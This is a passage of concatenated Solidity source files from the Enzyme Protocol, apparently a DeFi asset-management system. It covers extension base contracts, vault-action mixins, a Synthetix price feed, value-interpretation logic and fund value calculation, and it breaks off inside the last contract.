/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
enum PolicyHook {
BuySharesSetup,
PreBuyShares,
PostBuyShares,
BuySharesCompleted,
PreCallOnIntegration,
PostCallOnIntegration
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
import "../../core/fund/vault/IVault.sol";
import "../IExtension.sol";
/// @title ExtensionBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Base class for an extension
abstract contract ExtensionBase is IExtension {
mapping(address => address) internal comptrollerProxyToVaultProxy;
/// @notice Allows extension to run logic during fund activation
/// @dev Unimplemented by default, may be overridden.
function activateForFund(bool) external virtual override {
return;
}
/// @notice Allows extension to run logic during fund deactivation (destruct)
/// @dev Unimplemented by default, may be overridden.
function deactivateForFund() external virtual override {
return;
}
/// @notice Receives calls from ComptrollerLib.callOnExtension()
/// and dispatches the appropriate action
/// @dev Unimplemented by default, may be overridden.
function receiveCallFromComptroller(
address,
uint256,
bytes calldata
) external virtual override {
revert("receiveCallFromComptroller: Unimplemented for Extension");
}
/// @notice Allows extension to run logic during fund configuration
/// @dev Unimplemented by default, may be overridden.
function setConfigForFund(bytes calldata) external virtual override {
return;
}
/// @dev Helper to validate a ComptrollerProxy-VaultProxy relation, which we store for both
/// gas savings and to guarantee a spoofed ComptrollerProxy does not change getVaultProxy().
/// Will revert without reason if the expected interfaces do not exist.
function __setValidatedVaultProxy(address _comptrollerProxy)
internal
returns (address vaultProxy_)
{
require(
comptrollerProxyToVaultProxy[_comptrollerProxy] == address(0),
"__setValidatedVaultProxy: Already set"
);
vaultProxy_ = IComptroller(_comptrollerProxy).getVaultProxy();
require(vaultProxy_ != address(0), "__setValidatedVaultProxy: Missing vaultProxy");
require(
_comptrollerProxy == IVault(vaultProxy_).getAccessor(),
"__setValidatedVaultProxy: Not the VaultProxy accessor"
);
comptrollerProxyToVaultProxy[_comptrollerProxy] = vaultProxy_;
return vaultProxy_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the verified VaultProxy for a given ComptrollerProxy
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return vaultProxy_ The VaultProxy of the fund
function getVaultProxyForFund(address _comptrollerProxy)
public
view
returns (address vaultProxy_)
{
return comptrollerProxyToVaultProxy[_comptrollerProxy];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund-deployer/IFundDeployer.sol";
/// @title FundDeployerOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of FundDeployer
abstract contract FundDeployerOwnerMixin {
address internal immutable FUND_DEPLOYER;
modifier onlyFundDeployerOwner() {
require(
msg.sender == getOwner(),
"onlyFundDeployerOwner: Only the FundDeployer owner can call this function"
);
_;
}
constructor(address _fundDeployer) public {
FUND_DEPLOYER = _fundDeployer;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the FundDeployer contract
function getOwner() public view returns (address owner_) {
return IFundDeployer(FUND_DEPLOYER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() external view returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../core/fund/comptroller/IComptroller.sol";
/// @title PermissionedVaultActionMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for extensions that can make permissioned vault calls
abstract contract PermissionedVaultActionMixin {
/// @notice Adds a tracked asset to the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to add
function __addTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.AddTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Grants an allowance to a spender to use a fund's asset
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset for which to grant an allowance
/// @param _target The spender of the allowance
/// @param _amount The amount of the allowance
function __approveAssetSpender(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.ApproveAssetSpender,
abi.encode(_asset, _target, _amount)
);
}
/// @notice Burns fund shares for a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account for which to burn shares
/// @param _amount The amount of shares to burn
function __burnShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.BurnShares,
abi.encode(_target, _amount)
);
}
/// @notice Mints fund shares to a particular account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _target The account to which to mint shares
/// @param _amount The amount of shares to mint
function __mintShares(
address _comptrollerProxy,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.MintShares,
abi.encode(_target, _amount)
);
}
/// @notice Removes a tracked asset from the fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to remove
function __removeTrackedAsset(address _comptrollerProxy, address _asset) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.RemoveTrackedAsset,
abi.encode(_asset)
);
}
/// @notice Transfers fund shares from one account to another
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _from The account from which to transfer shares
/// @param _to The account to which to transfer shares
/// @param _amount The amount of shares to transfer
function __transferShares(
address _comptrollerProxy,
address _from,
address _to,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.TransferShares,
abi.encode(_from, _to, _amount)
);
}
/// @notice Withdraws an asset from the VaultProxy to a given account
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _asset The asset to withdraw
/// @param _target The account to which to withdraw the asset
/// @param _amount The amount of asset to withdraw
function __withdrawAssetTo(
address _comptrollerProxy,
address _asset,
address _target,
uint256 _amount
) internal {
IComptroller(_comptrollerProxy).permissionedVaultAction(
IComptroller.VaultAction.WithdrawAssetTo,
abi.encode(_asset, _target, _amount)
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./IDerivativePriceFeed.sol";
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
interface IAggregatedDerivativePriceFeed is IDerivativePriceFeed {
function getPriceFeedForDerivative(address) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IDerivativePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Simple interface for derivative price source oracle implementations
interface IDerivativePriceFeed {
function calcUnderlyingValues(address, uint256)
external
returns (address[] memory, uint256[] memory);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../extensions/utils/FundDeployerOwnerMixin.sol";
import "../../../../interfaces/ISynthetix.sol";
import "../../../../interfaces/ISynthetixAddressResolver.sol";
import "../../../../interfaces/ISynthetixExchangeRates.sol";
import "../../../../interfaces/ISynthetixProxyERC20.sol";
import "../../../../interfaces/ISynthetixSynth.sol";
import "../IDerivativePriceFeed.sol";
/// @title SynthetixPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice A price feed that uses Synthetix oracles as price sources
contract SynthetixPriceFeed is IDerivativePriceFeed, FundDeployerOwnerMixin {
using SafeMath for uint256;
event SynthAdded(address indexed synth, bytes32 currencyKey);
event SynthCurrencyKeyUpdated(
address indexed synth,
bytes32 prevCurrencyKey,
bytes32 nextCurrencyKey
);
uint256 private constant SYNTH_UNIT = 10**18;
address private immutable ADDRESS_RESOLVER;
address private immutable SUSD;
mapping(address => bytes32) private synthToCurrencyKey;
constructor(
address _fundDeployer,
address _addressResolver,
address _sUSD,
address[] memory _synths
) public FundDeployerOwnerMixin(_fundDeployer) {
ADDRESS_RESOLVER = _addressResolver;
SUSD = _sUSD;
address[] memory sUSDSynths = new address[](1);
sUSDSynths[0] = _sUSD;
__addSynths(sUSDSynths);
__addSynths(_synths);
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
underlyings_ = new address[](1);
underlyings_[0] = SUSD;
underlyingAmounts_ = new uint256[](1);
bytes32 currencyKey = getCurrencyKeyForSynth(_derivative);
require(currencyKey != 0, "calcUnderlyingValues: _derivative is not supported");
address exchangeRates = ISynthetixAddressResolver(ADDRESS_RESOLVER).requireAndGetAddress(
"ExchangeRates",
"calcUnderlyingValues: Missing ExchangeRates"
);
(uint256 rate, bool isInvalid) = ISynthetixExchangeRates(exchangeRates).rateAndInvalid(
currencyKey
);
require(!isInvalid, "calcUnderlyingValues: _derivative rate is not valid");
underlyingAmounts_[0] = _derivativeAmount.mul(rate).div(SYNTH_UNIT);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks whether an asset is a supported primitive of the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported primitive
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return getCurrencyKeyForSynth(_asset) != 0;
}
/////////////////////
// SYNTHS REGISTRY //
/////////////////////
/// @notice Adds Synths to the price feed
/// @param _synths Synths to add
function addSynths(address[] calldata _synths) external onlyFundDeployerOwner {
require(_synths.length > 0, "addSynths: Empty _synths");
__addSynths(_synths);
}
/// @notice Updates the cached currencyKey value for specified Synths
/// @param _synths Synths to update
/// @dev Anybody can call this function
function updateSynthCurrencyKeys(address[] calldata _synths) external {
require(_synths.length > 0, "updateSynthCurrencyKeys: Empty _synths");
for (uint256 i; i < _synths.length; i++) {
bytes32 prevCurrencyKey = synthToCurrencyKey[_synths[i]];
require(prevCurrencyKey != 0, "updateSynthCurrencyKeys: Synth not set");
bytes32 nextCurrencyKey = __getCurrencyKey(_synths[i]);
require(
nextCurrencyKey != prevCurrencyKey,
"updateSynthCurrencyKeys: Synth has correct currencyKey"
);
synthToCurrencyKey[_synths[i]] = nextCurrencyKey;
emit SynthCurrencyKeyUpdated(_synths[i], prevCurrencyKey, nextCurrencyKey);
}
}
/// @dev Helper to add Synths
function __addSynths(address[] memory _synths) private {
for (uint256 i; i < _synths.length; i++) {
require(synthToCurrencyKey[_synths[i]] == 0, "__addSynths: Value already set");
bytes32 currencyKey = __getCurrencyKey(_synths[i]);
require(currencyKey != 0, "__addSynths: No currencyKey");
synthToCurrencyKey[_synths[i]] = currencyKey;
emit SynthAdded(_synths[i], currencyKey);
}
}
/// @dev Helper to query a currencyKey from Synthetix
function __getCurrencyKey(address _synthProxy) private view returns (bytes32 currencyKey_) {
return ISynthetixSynth(ISynthetixProxyERC20(_synthProxy).target()).currencyKey();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_RESOLVER` variable
/// @return addressResolver_ The `ADDRESS_RESOLVER` variable value
function getAddressResolver() external view returns (address) {
return ADDRESS_RESOLVER;
}
/// @notice Gets the currencyKey for multiple given Synths
/// @return currencyKeys_ The currencyKey values
function getCurrencyKeysForSynths(address[] calldata _synths)
external
view
returns (bytes32[] memory currencyKeys_)
{
currencyKeys_ = new bytes32[](_synths.length);
for (uint256 i; i < _synths.length; i++) {
currencyKeys_[i] = synthToCurrencyKey[_synths[i]];
}
return currencyKeys_;
}
/// @notice Gets the `SUSD` variable
/// @return susd_ The `SUSD` variable value
function getSUSD() external view returns (address susd_) {
return SUSD;
}
/// @notice Gets the currencyKey for a given Synth
/// @return currencyKey_ The currencyKey value
function getCurrencyKeyForSynth(address _synth) public view returns (bytes32 currencyKey_) {
return synthToCurrencyKey[_synth];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IPrimitivePriceFeed Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for primitive price feeds
interface IPrimitivePriceFeed {
function calcCanonicalValue(
address,
uint256,
address
) external view returns (uint256, bool);
function calcLiveValue(
address,
uint256,
address
) external view returns (uint256, bool);
function isSupportedAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
function calcLiveAssetValue(
address,
uint256,
address
) external returns (uint256, bool);
function calcLiveAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../price-feeds/derivatives/IAggregatedDerivativePriceFeed.sol";
import "../price-feeds/derivatives/IDerivativePriceFeed.sol";
import "../price-feeds/primitives/IPrimitivePriceFeed.sol";
import "./IValueInterpreter.sol";
/// @title ValueInterpreter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Interprets price feeds to provide covert value between asset pairs
/// @dev This contract contains several "live" value calculations, which for this release are simply
/// aliases to their "canonical" value counterparts since the only primitive price feed (Chainlink)
/// is immutable in this contract and only has one type of value. Including the "live" versions of
/// functions only serves as a placeholder for infrastructural components and plugins (e.g., policies)
/// to explicitly define the types of values that they should (and will) be using in a future release.
contract ValueInterpreter is IValueInterpreter {
using SafeMath for uint256;
address private immutable AGGREGATED_DERIVATIVE_PRICE_FEED;
address private immutable PRIMITIVE_PRICE_FEED;
constructor(address _primitivePriceFeed, address _aggregatedDerivativePriceFeed) public {
AGGREGATED_DERIVATIVE_PRICE_FEED = _aggregatedDerivativePriceFeed;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
}
// EXTERNAL FUNCTIONS
/// @notice An alias of calcCanonicalAssetsTotalValue
function calcLiveAssetsTotalValue(
address[] calldata _baseAssets,
uint256[] calldata _amounts,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetsTotalValue(_baseAssets, _amounts, _quoteAsset);
}
/// @notice An alias of calcCanonicalAssetValue
function calcLiveAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) external override returns (uint256 value_, bool isValid_) {
return calcCanonicalAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the total value of given amounts of assets in a single quote asset
/// @param _baseAssets The assets to convert
/// @param _amounts The amounts of the _baseAssets to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The sum value of _baseAssets, denominated in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetsTotalValue(
address[] memory _baseAssets,
uint256[] memory _amounts,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
require(
_baseAssets.length == _amounts.length,
"calcCanonicalAssetsTotalValue: Arrays unequal lengths"
);
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetsTotalValue: Unsupported _quoteAsset"
);
isValid_ = true;
for (uint256 i; i < _baseAssets.length; i++) {
(uint256 assetValue, bool assetValueIsValid) = __calcAssetValue(
_baseAssets[i],
_amounts[i],
_quoteAsset
);
value_ = value_.add(assetValue);
if (!assetValueIsValid) {
isValid_ = false;
}
}
return (value_, isValid_);
}
/// @notice Calculates the value of a given amount of one asset in terms of another asset
/// @param _baseAsset The asset from which to convert
/// @param _amount The amount of the _baseAsset to convert
/// @param _quoteAsset The asset to which to convert
/// @return value_ The equivalent quantity in the _quoteAsset
/// @return isValid_ True if the price feed rates used to derive value are all valid
/// @dev Does not alter protocol state,
/// but not a view because calls to price feeds can potentially update third party state
function calcCanonicalAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) public override returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_quoteAsset),
"calcCanonicalAssetValue: Unsupported _quoteAsset"
);
return __calcAssetValue(_baseAsset, _amount, _quoteAsset);
}
// PRIVATE FUNCTIONS
/// @dev Helper to differentially calculate an asset value
/// based on if it is a primitive or derivative asset.
function __calcAssetValue(
address _baseAsset,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
if (_baseAsset == _quoteAsset || _amount == 0) {
return (_amount, true);
}
// Handle case that asset is a primitive
if (IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_baseAsset)) {
return
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).calcCanonicalValue(
_baseAsset,
_amount,
_quoteAsset
);
}
// Handle case that asset is a derivative
address derivativePriceFeed = IAggregatedDerivativePriceFeed(
AGGREGATED_DERIVATIVE_PRICE_FEED
)
.getPriceFeedForDerivative(_baseAsset);
if (derivativePriceFeed != address(0)) {
return __calcDerivativeValue(derivativePriceFeed, _baseAsset, _amount, _quoteAsset);
}
revert("__calcAssetValue: Unsupported _baseAsset");
}
/// @dev Helper to calculate the value of a derivative in an arbitrary asset.
/// Handles multiple underlying assets (e.g., Uniswap and Balancer pool tokens).
/// Handles underlying assets that are also derivatives (e.g., a cDAI-ETH LP)
function __calcDerivativeValue(
address _derivativePriceFeed,
address _derivative,
uint256 _amount,
address _quoteAsset
) private returns (uint256 value_, bool isValid_) {
(address[] memory underlyings, uint256[] memory underlyingAmounts) = IDerivativePriceFeed(
_derivativePriceFeed
)
.calcUnderlyingValues(_derivative, _amount);
require(underlyings.length > 0, "__calcDerivativeValue: No underlyings");
require(
underlyings.length == underlyingAmounts.length,
"__calcDerivativeValue: Arrays unequal lengths"
);
// Let validity be negated if any of the underlying value calculations are invalid
isValid_ = true;
for (uint256 i = 0; i < underlyings.length; i++) {
(uint256 underlyingValue, bool underlyingValueIsValid) = __calcAssetValue(
underlyings[i],
underlyingAmounts[i],
_quoteAsset
);
if (!underlyingValueIsValid) {
isValid_ = false;
}
value_ = value_.add(underlyingValue);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `AGGREGATED_DERIVATIVE_PRICE_FEED` variable
/// @return aggregatedDerivativePriceFeed_ The `AGGREGATED_DERIVATIVE_PRICE_FEED` variable value
function getAggregatedDerivativePriceFeed()
external
view
returns (address aggregatedDerivativePriceFeed_)
{
return AGGREGATED_DERIVATIVE_PRICE_FEED;
}
/// @notice Gets the `PRIMITIVE_PRICE_FEED` variable
/// @return primitivePriceFeed_ The `PRIMITIVE_PRICE_FEED` variable value
function getPrimitivePriceFeed() external view returns (address primitivePriceFeed_) {
return PRIMITIVE_PRICE_FEED;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetix Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetix {
function exchangeOnBehalfWithTracking(
address,
bytes32,
uint256,
bytes32,
address,
bytes32
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixAddressResolver Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixAddressResolver {
function requireAndGetAddress(bytes32, string calldata) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchangeRates Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchangeRates {
function rateAndInvalid(bytes32) external view returns (uint256, bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixExchanger Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixExchanger {
function getAmountsForExchange(
uint256,
bytes32,
bytes32
)
external
view
returns (
uint256,
uint256,
uint256
);
function settle(address, bytes32)
external
returns (
uint256,
uint256,
uint256
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixProxyERC20 Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixProxyERC20 {
function target() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ISynthetixSynth Interface
/// @author Enzyme Council <[email protected]>
interface ISynthetixSynth {
function currencyKey() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../persistent/off-chain/fund-value-calculator/IFundValueCalculator.sol";
import "../core/fund/comptroller/ComptrollerLib.sol";
import "../core/fund/vault/VaultLib.sol";
import "../extensions/fee-manager/FeeManager.sol";
import "../infrastructure/value-interpreter/ValueInterpreter.sol";
/// @title FundValueCalculator Contract
/// @author Enzyme Council <[email protected]>
/// @notice A peripheral contract for serving fund value calculation requests from the FundValueCalculatorRouter
/// @dev These are convenience functions intended for off-chain consumption,
/// some of which involve potentially expensive state transitions
contract FundValueCalculator is IFundValueCalculator {
using SafeMath for uint256;
// Shares-related constants
uint256 private constant SHARES_UNIT = 10**18;
address private immutable FEE_MANAGER;
address private immutable VALUE_INTERPRETER;
constructor(address _feeManager, address _valueInterpreter) public {
FEE_MANAGER = _feeManager;
VALUE_INTERPRETER = _valueInterpreter;
}
// EXTERNAL FUNCTIONS
/// @notice Calculates the GAV for a given fund, quoted in a given asset
/// @param _vaultProxy The VaultProxy of the fund
/// @param _quoteAsset The quote asset
/// @return gav_ The GAV quoted in _quoteAsset
function calcGavInAsset(address _vaultProxy, address _quoteAsset)
external
override
returns (uint256 gav_)
{
(address denominationAsset, uint256 valueInDenominationAsset) = calcGav(_vaultProxy);
return
__calcCanonicalAssetValueOrRevertInvalid(
denominationAsset,
valueInDenominationAsset,
_quoteAsset
);
}
/// @notice Calculates the gross value of one shares unit (10 ** 18) for a given fund, quoted in a given asset
/// @param _vaultProxy The VaultProxy of the fund
/// @param _quoteAsset The quote asset
/// @return grossShareValue_ The gross share value quoted in _quoteAsset
function calcGrossShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
override
returns (uint256 grossShareValue_)
{
(address denominationAsset, uint256 valueInDenominationAsset) = calcGrossShareValue(
_vaultProxy
);
return
__calcCanonicalAssetValueOrRevertInvalid(
denominationAsset,
valueInDenominationAsset,
_quoteAsset
);
}
/// @notice Calculates the NAV for a given fund, quoted in a given asset
/// @param _vaultProxy The VaultProxy of the fund
/// @param _quoteAsset The quote asset
/// @return nav_ The NAV quoted in _quoteAsset
function calcNavInAsset(address _vaultProxy, address _quoteAsset)
external
override
returns (uint256 nav_)
{
(address denominationAsset, uint256 valueInDenominationAsset) = calcNav(_vaultProxy);
return
__calcCanonicalAssetValueOrRevertInvalid(
denominationAsset,
valueInDenominationAsset,
_quoteAsset
);
}
/// @notice Calculates the net value of one shares unit (10 ** 18) for a given fund, quoted in a given asset
/// @param _vaultProxy The VaultProxy of the fund
/// @param _quoteAsset The quote asset
/// @return netShareValue_ The net share value quoted in _quoteAsset
function calcNetShareValueInAsset(address _vaultProxy, address _quoteAsset)
external
override
returns (uint256 netShareValue_)
{
(address denominationAsset, uint256 valueInDenominationAsset) = calcNetShareValue(
_vaultProxy
);
return
__calcCanonicalAssetValueOrRevertInvalid(
denominationAsset,
valueInDenominationAsset,
_quoteAsset
);
}
/// @notice Calculates the net value of all shares held by a specified account, quoted in a given asset
/// @param _vaultProxy The VaultProxy of the fund
/// @param _sharesHolder The account holding shares
/// @param _quoteAsset The quote asset
/// @return netValue_ The net value of all shares held by _sharesHolder quoted in _quoteAsset
function calcNetValueForSharesHolderInAsset(
address _vaultProxy,
address _sharesHolder,
address _quoteAsset
) external override returns (uint256 netValue_) {
(
address denominationAsset,
uint256 valueInDenominationAsset
) = calcNetValueForSharesHolder(_vaultProxy, _sharesHolder);
return
__calcCanonicalAssetValueOrRevertInvalid(
denominationAsset,
valueInDenominationAsset,
_quoteAsset
);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the GAV for a given fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return denominationAsset_ The denomination asset of the fund
/// @return gav_ The GAV quoted in the denomination asset
function calcGav(address _vaultProxy)
public
override
returns (address denominationAsset_, uint256 gav_)
{
ComptrollerLib comptrollerProxyContract = __getComptrollerProxyForVault(_vaultProxy);
(gav_, ) = comptrollerProxyContract.calcGav(false);
return (comptrollerProxyContract.getDenominationAsset(), gav_);
}
/// @notice Calculates the gross value of one shares unit (10 ** 18) for a given fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return denominationAsset_ The denomination asset of the fund
/// @return grossShareValue_ The gross share value quoted in the denomination asset
function calcGrossShareValue(address _vaultProxy)
public
override
returns (address denominationAsset_, uint256 grossShareValue_)
{
ComptrollerLib comptrollerProxyContract = __getComptrollerProxyForVault(_vaultProxy);
(grossShareValue_, ) = comptrollerProxyContract.calcGrossShareValue(false);
return (comptrollerProxyContract.getDenominationAsset(), grossShareValue_);
}
/// @notice Calculates the NAV for a given fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return denominationAsset_ The denomination asset of the fund
/// @return nav_ The NAV quoted in the denomination asset
/// @dev This value should only be consumed from off-chain,
/// as the NAV is only valid for the shares quantity prior to the settlement of fees,
/// and this function actually settles fees, so the NAV would no longer be valid
function calcNav(address _vaultProxy)
public
override
returns (address denominationAsset_, uint256 nav_)
{
uint256 preSharesSupply = ERC20(_vaultProxy).totalSupply();
uint256 netShareValue;
(denominationAsset_, netShareValue) = calcNetShareValue(_vaultProxy);
nav_ = preSharesSupply.mul(netShareValue).div(SHARES_UNIT);
return (denominationAsset_, nav_);
}
/// @notice Calculates the net value of one shares unit (10 ** 18) for a given fund
/// @param _vaultProxy The VaultProxy of the fund
/// @return denominationAsset_ The denomination asset of the fund
/// @return netShareValue_ The net share value quoted in the denomination asset
function calcNetShareValue(address _vaultProxy)
public
override
returns (address denominationAsset_, uint256 netShareValue_)
{
ComptrollerLib comptrollerProxyContract = __getComptrollerProxyForVault(_vaultProxy);
// Settle Continuous fees
comptrollerProxyContract.callOnExtension(getFeeManager(), 0, "");
(netShareValue_, ) = comptrollerProxyContract.calcGrossShareValue(false);
return (comptrollerProxyContract.getDenominationAsset(), netShareValue_);
}
/// @notice Calculates the net value of all shares held by a specified account
/// @param _vaultProxy The VaultProxy of the fund
/// @param _sharesHolder The account holding shares
/// @return denominationAsset_ The denomination asset of the fund
/// @return netValue_ The net value of all shares held by _sharesHolder
function calcNetValueForSharesHolder(address _vaultProxy, address _sharesHolder)
public
override
returns (address denominationAsset_, uint256 netValue_)
{
// Does not account for any new shares accrued to the _sharesHolder during calcs
uint256 sharesHolderBalance = ERC20(_vaultProxy).balanceOf(_sharesHolder);
uint256 netShareValue;
(denominationAsset_, netShareValue) = calcNetShareValue(_vaultProxy);
netValue_ = sharesHolderBalance.mul(netShareValue).div(SHARES_UNIT);
return (denominationAsset_, netValue_);
}
// PRIVATE FUNCTIONS
/// @dev Helper to run ValueInterpreter.calcCanonicalAssetValue(), reverting if a returned rate is invalid
